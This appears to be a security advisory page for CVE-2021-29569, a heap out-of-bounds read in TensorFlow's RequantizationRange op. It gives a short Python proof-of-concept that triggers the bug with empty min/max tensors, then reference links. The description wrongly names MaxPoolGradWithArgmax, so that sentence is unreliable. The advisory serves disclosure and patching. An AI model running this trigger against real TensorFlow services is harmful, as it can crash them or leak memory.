CVE-2021-29569: Heap out of bounds read in `RequantizationRange`
(updated )
The implementation of tf.raw_ops.MaxPoolGradWithArgmax can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:
import tensorflow as tf
input = tf.constant([1], shape=[1], dtype=tf.qint32)
input_max = tf.constant([], dtype=tf.float32)
input_min = tf.constant([], dtype=tf.float32)
tf.raw_ops.RequantizationRange(input=input, input_min=input_min, input_max=input_max)
References
- github.com/advisories/GHSA-3h8m-483j-7xxm
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-497.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-695.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-206.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/ef0c008ee84bad91ec6725ddc42091e19a30cf0e
- github.com/tensorflow/tensorflow/security/advisories/GHSA-3h8m-483j-7xxm
- nvd.nist.gov/vuln/detail/CVE-2021-29569
Code Behaviors & Features
Detect and mitigate CVE-2021-29569 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →